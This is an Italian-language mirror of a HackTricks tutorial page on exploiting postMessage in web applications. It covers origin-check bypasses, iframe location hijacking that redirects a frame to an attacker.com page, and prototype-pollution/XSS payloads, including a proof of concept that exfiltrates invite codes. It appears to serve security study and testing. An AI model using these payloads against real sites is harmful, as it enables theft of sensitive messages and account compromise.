mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 20:53:37 +00:00
263 lines
15 KiB
Markdown
263 lines
15 KiB
Markdown
# PostMessage Vulnerabilities
|
||
|
||
## PostMessage Vulnerabilities
|
||
|
||
{% hint style="success" %}
|
||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>Support HackTricks</summary>
|
||
|
||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
||
</details>
|
||
{% endhint %}
|
||
|
||
### [WhiteIntel](https://whiteintel.io)
|
||
|
||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
[**WhiteIntel**](https://whiteintel.io) è un motore di ricerca alimentato dal **dark-web** che offre funzionalità **gratuite** per verificare se un'azienda o i suoi clienti sono stati **compromessi** da **malware rubatori**.
|
||
|
||
Il loro obiettivo principale di WhiteIntel è combattere il furto di account e gli attacchi ransomware derivanti da malware che rubano informazioni.
|
||
|
||
Puoi controllare il loro sito web e provare il loro motore **gratuitamente** su:
|
||
|
||
{% embed url="https://whiteintel.io" %}
|
||
|
||
***
|
||
|
||
## Send **PostMessage**
|
||
|
||
**PostMessage** utilizza la seguente funzione per inviare un messaggio:
|
||
```bash
|
||
targetWindow.postMessage(message, targetOrigin, [transfer]);
|
||
|
||
# postMessage to current page
|
||
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')
|
||
|
||
# postMessage to an iframe with id "idframe"
|
||
<iframe id="idframe" src="http://victim.com/"></iframe>
|
||
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')
|
||
|
||
# postMessage to an iframe via onload
|
||
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">
|
||
|
||
# postMessage to popup
|
||
win = open('URL', 'hack', 'width=800,height=300,top=500');
|
||
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')
|
||
|
||
# postMessage to an URL
|
||
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')
|
||
|
||
# postMessage to iframe inside popup
|
||
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
|
||
## loop until win.length == 1 (until the iframe is loaded)
|
||
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
|
||
```
|
||
Nota che **targetOrigin** può essere un '\*' o un URL come _https://company.com._\
|
||
Nello **scenario secondario**, il **messaggio può essere inviato solo a quel dominio** (anche se l'origine dell'oggetto finestra è diversa).\
|
||
Se viene utilizzato il **carattere jolly**, i **messaggi potrebbero essere inviati a qualsiasi dominio**, e saranno inviati all'origine dell'oggetto Window.
|
||
|
||
### Attacco iframe & carattere jolly in **targetOrigin**
|
||
|
||
Come spiegato in [**questo report**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/), se trovi una pagina che può essere **iframed** (senza protezione `X-Frame-Header`) e che sta **inviando messaggi sensibili** tramite **postMessage** utilizzando un **carattere jolly** (\*), puoi **modificare** l'**origine** dell'**iframe** e **leak** il **messaggio sensibile** a un dominio controllato da te.\
|
||
Nota che se la pagina può essere iframed ma il **targetOrigin** è **impostato su un URL e non su un carattere jolly**, questo **trucco non funzionerà**.
|
||
```markup
|
||
<html>
|
||
<iframe src="https://docs.google.com/document/ID" />
|
||
<script>
|
||
setTimeout(exp, 6000); //Wait 6s
|
||
|
||
//Try to change the origin of the iframe each 100ms
|
||
function exp(){
|
||
setInterval(function(){
|
||
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
|
||
}, 100);
|
||
}
|
||
</script>
|
||
```
|
||
## sfruttamento di addEventListener
|
||
|
||
**`addEventListener`** è la funzione utilizzata da JS per dichiarare la funzione che **si aspetta `postMessages`**.\
|
||
Un codice simile a quello seguente sarà utilizzato:
|
||
```javascript
|
||
window.addEventListener("message", (event) => {
|
||
if (event.origin !== "http://example.org:8080")
|
||
return;
|
||
|
||
// ...
|
||
}, false);
|
||
```
|
||
Nota in questo caso come la **prima cosa** che il codice sta facendo è **controllare l'origine**. Questo è terribilmente **importante** principalmente se la pagina deve fare **qualcosa di sensibile** con le informazioni ricevute (come cambiare una password). **Se non controlla l'origine, gli attaccanti possono far inviare dati arbitrari a questi endpoint** e cambiare le password delle vittime (in questo esempio).
|
||
|
||
### Enumerazione
|
||
|
||
Per **trovare i listener di eventi** nella pagina corrente puoi:
|
||
|
||
* **Cercare** il codice JS per `window.addEventListener` e `$(window).on` (_versione JQuery_)
|
||
* **Eseguire** nella console degli strumenti per sviluppatori: `getEventListeners(window)`
|
||
|
||
![](<../../.gitbook/assets/image (618) (1).png>)
|
||
|
||
* **Andare a** _Elements --> Event Listeners_ negli strumenti per sviluppatori del browser
|
||
|
||
![](<../../.gitbook/assets/image (396).png>)
|
||
|
||
* Utilizzare un **estensione del browser** come [**https://github.com/benso-io/posta**](https://github.com/benso-io/posta) o [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker). Queste estensioni del browser **intercetteranno tutti i messaggi** e te li mostreranno.
|
||
|
||
### Bypass dei controlli di origine
|
||
|
||
* L'attributo **`event.isTrusted`** è considerato sicuro in quanto restituisce `True` solo per eventi generati da azioni genuine dell'utente. Anche se è difficile da bypassare se implementato correttamente, la sua importanza nei controlli di sicurezza è notevole.
|
||
* L'uso di **`indexOf()`** per la validazione dell'origine negli eventi PostMessage può essere suscettibile a bypass. Un esempio che illustra questa vulnerabilità è:
|
||
|
||
```javascript
|
||
("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")
|
||
```
|
||
* Il metodo **`search()`** di `String.prototype.search()` è destinato alle espressioni regolari, non alle stringhe. Passare qualsiasi cosa diversa da una regexp porta a una conversione implicita in regex, rendendo il metodo potenzialmente insicuro. Questo perché in regex, un punto (.) agisce come un carattere jolly, consentendo di bypassare la validazione con domini appositamente creati. Ad esempio:
|
||
|
||
```javascript
|
||
"https://www.safedomain.com".search("www.s.fedomain.com")
|
||
```
|
||
* La funzione **`match()`**, simile a `search()`, elabora regex. Se la regex è strutturata in modo improprio, potrebbe essere soggetta a bypass.
|
||
* La funzione **`escapeHtml`** è destinata a sanificare gli input sfuggendo ai caratteri. Tuttavia, non crea un nuovo oggetto sfuggito ma sovrascrive le proprietà dell'oggetto esistente. Questo comportamento può essere sfruttato. In particolare, se un oggetto può essere manipolato in modo tale che la sua proprietà controllata non riconosca `hasOwnProperty`, l'`escapeHtml` non funzionerà come previsto. Questo è dimostrato negli esempi seguenti:
|
||
|
||
* Fallimento previsto:
|
||
|
||
```javascript
|
||
result = u({
|
||
message: "'\"<b>\\"
|
||
});
|
||
result.message // "'"<b>\"
|
||
```
|
||
* Bypassando l'escape:
|
||
|
||
```javascript
|
||
result = u(new Error("'\"<b>\\"));
|
||
result.message; // "'"<b>\"
|
||
```
|
||
|
||
Nel contesto di questa vulnerabilità, l'oggetto `File` è notevolmente sfruttabile a causa della sua proprietà `name` di sola lettura. Questa proprietà, quando utilizzata nei modelli, non è sanificata dalla funzione `escapeHtml`, portando a potenziali rischi per la sicurezza.
|
||
* La proprietà `document.domain` in JavaScript può essere impostata da uno script per accorciare il dominio, consentendo un'applicazione più rilassata della politica di stessa origine all'interno dello stesso dominio padre.
|
||
|
||
### e.origin == window.origin bypass
|
||
|
||
Quando si incorpora una pagina web all'interno di un **iframe sandboxed** utilizzando %%%%%%, è fondamentale comprendere che l'origine dell'iframe sarà impostata su null. Questo è particolarmente importante quando si trattano **attributi sandbox** e le loro implicazioni sulla sicurezza e funzionalità.
|
||
|
||
Specificando **`allow-popups`** nell'attributo sandbox, qualsiasi finestra popup aperta dall'interno dell'iframe eredita le restrizioni sandbox del suo genitore. Ciò significa che a meno che l'attributo **`allow-popups-to-escape-sandbox`** non sia incluso, l'origine della finestra popup è anch'essa impostata su `null`, allineandosi con l'origine dell'iframe.
|
||
|
||
Di conseguenza, quando una popup viene aperta in queste condizioni e un messaggio viene inviato dall'iframe alla popup utilizzando **`postMessage`**, sia il mittente che il destinatario hanno le loro origini impostate su `null`. Questa situazione porta a uno scenario in cui **`e.origin == window.origin`** risulta vero (`null == null`), poiché sia l'iframe che la popup condividono lo stesso valore di origine `null`.
|
||
|
||
Per ulteriori informazioni **leggi**:
|
||
|
||
{% content-ref url="bypassing-sop-with-iframes-1.md" %}
|
||
[bypassing-sop-with-iframes-1.md](bypassing-sop-with-iframes-1.md)
|
||
{% endcontent-ref %}
|
||
|
||
### Bypassare e.source
|
||
|
||
È possibile controllare se il messaggio proviene dalla stessa finestra in cui lo script sta ascoltando (particolarmente interessante per **Content Scripts delle estensioni del browser** per controllare se il messaggio è stato inviato dalla stessa pagina):
|
||
```javascript
|
||
// If it’s not, return immediately.
|
||
if( received_message.source !== window ) {
|
||
return;
|
||
}
|
||
```
|
||
Puoi forzare **`e.source`** di un messaggio a essere nullo creando un **iframe** che **invia** il **postMessage** e viene **immediatamente eliminato**.
|
||
|
||
Per ulteriori informazioni **leggi:**
|
||
|
||
{% content-ref url="bypassing-sop-with-iframes-2.md" %}
|
||
[bypassing-sop-with-iframes-2.md](bypassing-sop-with-iframes-2.md)
|
||
{% endcontent-ref %}
|
||
|
||
### Bypass dell'header X-Frame
|
||
|
||
Per eseguire questi attacchi, idealmente dovresti essere in grado di **mettere la pagina web della vittima** all'interno di un `iframe`. Ma alcuni header come `X-Frame-Header` possono **prevenire** quel **comportamento**.\
|
||
In quei scenari puoi comunque utilizzare un attacco meno furtivo. Puoi aprire una nuova scheda per l'applicazione web vulnerabile e comunicare con essa:
|
||
```markup
|
||
<script>
|
||
var w=window.open("<url>")
|
||
setTimeout(function(){w.postMessage('text here','*');}, 2000);
|
||
</script>
|
||
```
|
||
### Rubare messaggi inviati al child bloccando la pagina principale
|
||
|
||
Nella seguente pagina puoi vedere come potresti rubare dei **dati postmessage sensibili** inviati a un **child iframe** bloccando la **pagina principale** prima di inviare i dati e abusando di un **XSS nel child** per **leakare i dati** prima che vengano ricevuti:
|
||
|
||
{% content-ref url="blocking-main-page-to-steal-postmessage.md" %}
|
||
[blocking-main-page-to-steal-postmessage.md](blocking-main-page-to-steal-postmessage.md)
|
||
{% endcontent-ref %}
|
||
|
||
### Rubare messaggi modificando la posizione dell'iframe
|
||
|
||
Se puoi iframe una pagina web senza X-Frame-Header che contiene un altro iframe, puoi **cambiare la posizione di quel child iframe**, quindi se sta ricevendo un **postmessage** inviato utilizzando un **wildcard**, un attaccante potrebbe **cambiare** quell'iframe **origin** a una pagina **controllata** da lui e **rubare** il messaggio:
|
||
|
||
{% content-ref url="steal-postmessage-modifying-iframe-location.md" %}
|
||
[steal-postmessage-modifying-iframe-location.md](steal-postmessage-modifying-iframe-location.md)
|
||
{% endcontent-ref %}
|
||
|
||
### postMessage per Prototype Pollution e/o XSS
|
||
|
||
In scenari in cui i dati inviati tramite `postMessage` vengono eseguiti da JS, puoi **iframe** la **pagina** e **sfruttare** la **prototype pollution/XSS** inviando l'exploit tramite `postMessage`.
|
||
|
||
Un paio di **XSS molto ben spiegati tramite `postMessage`** possono essere trovati in [https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html)
|
||
|
||
Esempio di un exploit per abusare di **Prototype Pollution e poi XSS** tramite un `postMessage` a un `iframe`:
|
||
```html
|
||
<html>
|
||
<body>
|
||
<iframe id="idframe" src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
|
||
<script>
|
||
function get_code() {
|
||
document.getElementById('iframe_victim').contentWindow.postMessage('{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\\" />"}}}','*');
|
||
document.getElementById('iframe_victim').contentWindow.postMessage(JSON.stringify("refresh"), '*');
|
||
}
|
||
|
||
setTimeout(get_code, 2000);
|
||
</script>
|
||
</body>
|
||
</html>
|
||
```
|
||
Per **maggiori informazioni**:
|
||
|
||
* Link alla pagina su [**prototype pollution**](../deserialization/nodejs-proto-prototype-pollution/)
|
||
* Link alla pagina su [**XSS**](../xss-cross-site-scripting/)
|
||
* Link alla pagina su [**client side prototype pollution to XSS**](../deserialization/nodejs-proto-prototype-pollution/#client-side-prototype-pollution-to-xss)
|
||
|
||
## Riferimenti
|
||
|
||
* [https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html)
|
||
* [https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd](https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd)
|
||
* Per esercitarsi: [https://github.com/yavolo/eventlistener-xss-recon](https://github.com/yavolo/eventlistener-xss-recon)
|
||
|
||
### [WhiteIntel](https://whiteintel.io)
|
||
|
||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
[**WhiteIntel**](https://whiteintel.io) è un motore di ricerca alimentato dal **dark-web** che offre funzionalità **gratuite** per controllare se un'azienda o i suoi clienti sono stati **compromessi** da **stealer malwares**.
|
||
|
||
Il loro obiettivo principale di WhiteIntel è combattere il takeover degli account e gli attacchi ransomware derivanti da malware che rubano informazioni.
|
||
|
||
Puoi controllare il loro sito web e provare il loro motore **gratuitamente** su:
|
||
|
||
{% embed url="https://whiteintel.io" %}
|
||
|
||
{% hint style="success" %}
|
||
Impara e pratica AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>Supporta HackTricks</summary>
|
||
|
||
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||
|
||
</details>
|
||
{% endhint %}
|